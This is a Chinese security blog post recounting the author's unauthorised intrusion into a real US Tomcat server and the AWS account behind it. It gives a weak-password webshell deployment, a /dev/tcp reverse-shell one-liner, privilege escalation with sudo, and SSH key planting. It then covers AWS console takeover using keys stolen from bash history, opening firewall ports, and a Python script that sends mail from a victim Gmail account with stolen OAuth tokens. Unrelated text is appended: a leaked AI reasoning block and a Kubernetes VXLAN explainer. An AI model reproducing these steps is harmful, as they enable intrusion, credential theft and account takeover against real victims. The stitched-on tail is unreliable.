记一次从外网打通AWS云

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php
  26. 使用FofaSpider和Python联动批量挖洞
  27. 记一次简单的对盗号网站的渗透
  28. 记一次幸运的漏洞挖掘

前言

前段时间在Fofa上爬了一堆外国的IP打nday。当时打到了一个Tomcat的美国服务器的弱口令,在上面部署了war包后就去忙别的事了。最近恰好在打hvv,每天盯着态感上十分的安静,连正常业务都没有,再加上懂的都懂的原因,不好去挖什么地方的src。因此重新把之前的马拿出来,仔细研究了一番,发现了很多可以利用的点。其中一些东西还是有学习价值的,刚好很久没有写博客了,这段时间也学了很多东西。遂成此文。

由于全都是真实环境,因此敏感信息全部厚码处理。请遵守法律和行政法规,造成的任何不良后果与本文无关。

从外网到Root

首先访问目标URL,发现是一个Tomcat的登录界面。
在这里插入图片描述
使用弱口令 tomcat/secret成功登录manager,上传war包后用godzilla连接,成功获取webshell。

在shell中执行指令,得知当前用户为root
在这里插入图片描述
这边其实我是改了权限的。最开始连接上时只是个ec2-user的权限,这就是当时我不去深入的原因。这里我另找了一台服务器,演示我当时是如何提权的。

提权

这其实是个很简单的方法,但是在实战中成功率还蛮高的。

首先拿到一个webshell,为低权限用户。
在这里插入图片描述
使用指令反弹得到交互shell,这个反弹指令适用于一些常规bash用不了的情况。

bash -c 'exec 5<>/dev/tcp/IP/PORT;script -qc /bin/bash /dev/null <&5 >&5 2>&5'

在VPS得到回连后,直接用sudo su 尝试提到root。很多时候低权限用户没有密码或者权限配置错误,就可以直接跳到高权限用户。如图
在这里插入图片描述
在实际渗透时,可以先试试这个方法,说不定就提上了。


之后通过写入ssh公钥成功连接ssh。

在这里插入图片描述

后渗透

拿下root后进行常规信息收集,这里建议查看 .bash_history,其中很可能潜藏敏感信息。主要路径就是 /root/.bash_history/home/<user>/.bash_history,视具体情况而定。

在这里,我查看了 /home/ec2-user/.bash_history

在这里插入图片描述
在history中,看到了如下内容:

在这里插入图片描述
啊!这难道?金色传说!

使用dark-kingA云资产管理工具,直接通过KEYID和ACCESSKEY添加存储桶。
在这里插入图片描述
得到9个存储桶。
在这里插入图片描述
在云服务工具中添加资产。
在这里插入图片描述
之后通过工具接管云控制台,得到一个URL。
在这里插入图片描述在这里插入图片描述
把此URL复制到浏览器打开,成功拿下云控制台。
在这里插入图片描述
byd还挺有钱。
在这里插入图片描述

开端口

在控制台中找到EC2,点击实例,看到当前有10个实例。
在这里插入图片描述

由于我用microsocks在最开始控制的服务器上搭建了端口为1080的socks5服务端,因此在这里给端口放行一下。

找到我建立服务的实例,点击,选择安全,并进入安全组策略。
在这里插入图片描述
在入站规则中添加1080端口,这里可以给IP做限制,但我没做。
在这里插入图片描述
成功开放1080端口,用ncat测试,可以正常连接。
在这里插入图片描述

上服

继续看别的实例。

例如我们要想控制第二个openvpn的实例,怎么办呢?你去问AI,AI会给你提供一堆方法,这些方法不仅会影响正常业务,而且用不了。如果你也像我一样是高权限用户,可以直接这样做。

选中实例,在右上角点击连接。
在这里插入图片描述
然后直接用root用户连接。如果root不行,就用默认的ec2-user连接,再去用我之前说的方法提权就好了。
在这里插入图片描述
成功获得root shell。
在这里插入图片描述
通过写公钥来连接ssh。

写公钥

首先找到自己的公钥内容,不知道怎么找的去百度。Windows一般在

C:/Users/<用户名>/.ssh/id_rsa.pub

中。
在这里插入图片描述
使用base64加密公钥。
在这里插入图片描述
然后在控制台中用如下命令写入authorized_keys文件中

echo <加密后的内容> | base64 -d >> /root/.ssh/authorized_keys

在这里插入图片描述
成功写入后用ssh连接。
在这里插入图片描述
以此类推,得到十个ssh。
在这里插入图片描述

信息收集

对这10台服务器进行信息收集。

接管Gmail

在机器PFNZ-AI-Machine-1中,发现了如下内容:

{
	"token": "xxxxogN-NVC_wYqzDYc-NvwDnRLxClgmaZNeXtXS0QjRcHcHDjpgJoaCgYKAVMSARYSFQHGX2MiwWU4f1Jxa0qD_6DeX6d_Og0178",
	"refresh_token": "xxxx7necT5zXEo_ybpkyesyZlBYhrL6w6h_2qg",
	"token_uri": "https://oauth2.googleapis.com/token",
	"client_id": "xxo66d9rorj1vajqtha9.apps.googleusercontent.com",
	"client_secret": "xxxxxZDKIA",
	"scopes": ["https://www.googleapis.com/auth/gmail.modify"],
	"universe_domain": "googleapis.com",
	"account": "",
	"expiry": "2025-07-21T08:00:04.516393Z"
}

通过这些信息,可以直接接管Gmail。

例如通过此Python程序发送邮件。

import base64
from email.mime.text import MIMEText
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
from googleapiclient.discovery import build

token_info = {
    "token": "",
    "refresh_token": "",
    "token_uri": "https://oauth2.googleapis.com/token",
    "client_id": "",
    "client_secret": "",
    "scopes": ["https://www.googleapis.com/auth/gmail.modify"]
}

# ✅ 创建 Credentials 对象
creds = Credentials.from_authorized_user_info(info=token_info)

# ✅ 如果 token 过期,自动刷新(需 refresh_token)
if creds.expired and creds.refresh_token:
    creds.refresh(Request())

# ✅ 构造 Gmail API 服务
service = build('gmail', 'v1', credentials=creds)

# ✅ 构造邮件
def create_message(sender, to, subject, message_text):
    message = MIMEText(message_text, 'plain')
    message['to'] = to
    message['from'] = sender
    message['subject'] = subject
    raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
    return {'raw': raw}

# ✅ 发送邮件
def send_message(service, user_id, message):
    sent = service.users().messages().send(userId=user_id, body=message).execute()
    print(f"✅ Message sent! ID: {sent['id']}")

# ✅ 主程序
if __name__ == '__main__':
    msg = create_message('me', 目标邮箱, 'Hello', 'hello')
    send_message(service, 'me', msg)

成功接收到邮件。
在这里插入图片描述

结语

后续如果再打出有用的东西再回来更新

<think>好的,用户现在想让我简单介绍一下Kubernetes中的VXLAN网络模型。先回顾一下之前的对话历史,用户之前问过关于kubeadm init命令的参数解释,现在转向网络模型,可能是在搭建集群时遇到了网络配置的问题,或者想更深入了解Kubernetes的网络机制。 首先,我需要确认用户对Kubernetes网络的基础了解程度。VXLAN属于比较底层的网络技术,可能需要先简要说明Kubernetes网络模型的基本需求,比如Pod之间如何通信,以及为什么需要Overlay网络。 用户可能的问题场景是:在部署集群时,特别是跨主机网络通信时,遇到Pod无法互通的情况,或者对Flannel、Calico等网络插件的工作原理感兴趣。VXLAN是这些插件常用的一种技术,所以用户可能想了解其基本原理,以便更好地调试或选择适合的网络方案。 接下来需要解释VXLAN的概念,但要避免过于技术化。需要分解成几个部分:什么是VXLAN,它解决的问题,工作原理,以及在Kubernetes中的具体应用。同时,可能需要对比其他网络模型,比如host-gw或者BGP,帮助用户理解不同方案的优缺点。 用户可能没有说出来的深层需求是希望了解如何选择适合自己环境的网络插件,或者遇到网络问题时如何排查。因此,在介绍VXLAN时,应该提到它的优缺点,比如性能开销和跨网络能力,这样用户可以根据自己的基础设施(比如是否在环境、是否需要跨子网)做出决策。 另外,用户可能对VXLAN的具体实现细节感兴趣,比如如何封装数据包,VTEP的作用,以及Kubernetes中如何使用VXLAN。需要确保解释清晰,同时不涉及太多复杂的网络术语,或者如果使用术语,要给出简单易懂的解释。 最后,应该结合Kubernetes的实际用例,比如Flannel的VXLAN模式,说明其配置和使用方法,以及可能需要注意的问题,比如MTU设置对性能的影响。这样用户不仅了解理论,还能联系实际应用。 总结下来,回答的结构应该是:定义VXLAN,解决的问题,核心原理,在K8S中的应用,优缺点,以及典型使用场景。这样用户能够全面理解,并应用到实际环境中。</think>### Kubernetes 中 VXLAN 网络模型的核心概念 VXLAN(Virtual Extensible LAN,虚拟可扩展局域网)是 Kubernetes 中 **Overlay 网络**的典型实现技术,主要用于解决跨主机的容器网络通信问题。以下是其核心要点解析: --- #### 一、**VXLAN 要解决的问题** 1. **容器跨节点通信** 当 Pod 分布在多个物理节点时,传统二层网络无法直接路由容器 IP 地址,VXLAN 通过**封装隧道**实现跨三层网络的虚拟二层互联。 2. **突破 VLAN 数量限制** 传统 VLAN 仅有 4094 个 ID,而 VXLAN 的 **24 位标识符**可支持约 1600 万隔离网络段(符合计算多租户需求)。 3. **网络地址复用** 不同物理网络可使用相同的 IP 地址段,通过 VXLAN 隔离(例如:多集群环境)。 --- #### 二、**核心工作原理** 1. **数据包封装** - **原始帧封装**:将 Pod 发出的原始以太网帧(包含源/目标容器 IP)封装到 UDP 数据包中 - **外层头添加**:添加新的 IP 头(源/目标宿主机 IP)和 VXLAN 头(包含 VNI 标识符) - **示意图**: $$ \text{Pod数据帧} \rightarrow \boxed{\text{VXLAN头}+ \text{外网IP头} + \text{UDP头}} \rightarrow \text{物理网络传输} $$ 2. **VTEP(VXLAN Tunnel Endpoint)** - 每个宿主机上的虚拟隧道端点,负责封装/解封装 VXLAN 数据包 - 通过 **UDP 4789 端口**(IANA 标准端口)通信 3. **VNI(VXLAN Network Identifier)** - 24 位的虚拟网络标识符,用于区分不同租户或网络段 - 类似 VLAN ID,但数量级大幅扩展 --- #### 三、**在 Kubernetes 中的典型应用** 1. **Flannel 的 VXLAN 模式** - 为每个节点分配子网,通过 VXLAN 隧道打通跨节点 Pod 通信 - 通过 `flannel.1` 虚拟网桥实现数据封装 - **配置示例**(Flannel 配置文件片段): ```yaml net-conf.json: | { "Network": "10.244.0.0/16", "Backend": { "Type": "vxlan", "VNI": 1, "Port": 8472 # Flannel 默认使用 8472 而非标准 4789 } } ``` 2. **Calico 的 VXLAN 模式** - 默认使用 BGP 路由协议,在需要跨子网时可切换至 VXLAN 模式 - 通过 `vxlan.calico` 接口实现封装 --- #### 四、**关键优势与代价** | **优势** | **代价** | |----------------------------------|-----------------------------| | ✅ 突破物理网络拓扑限制 | ❌ 封装开销导致约 10-20% 带宽损耗 | | ✅ 支持大规模多租户隔离 | ❌ MTU 需要调整(通常设为 1450) | | ✅ 无需底层网络设备特殊配置 | ❌ 需要防火墙开放 UDP 端口 | --- #### 五、**典型应用场景** 1. **混合/跨数据中心组网** 例如:AWS 与本地 IDC 的 Kubernetes 集群互联 2. **物理网络不可控的环境** 当无法配置 BGP 或修改交换机时,VXLAN 成为首选方案 3. **多租户隔离需求** 通过不同 VNI 隔离开发/测试/生产环境 --- ### 操作建议 1. **网络性能敏感场景**:优先考虑 **host-gw** 模式(要求节点二层互通) 2. **大规模集群**:建议测试 **VXLAN+ECMP** 组合方案(如 Calico) 3. **故障排查工具**: - `tcpdump` 抓取 `flannel.1` 或 `vxlan.calico` 接口流量 - `ip -d link show` 查看 VXLAN 隧道配置详情
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值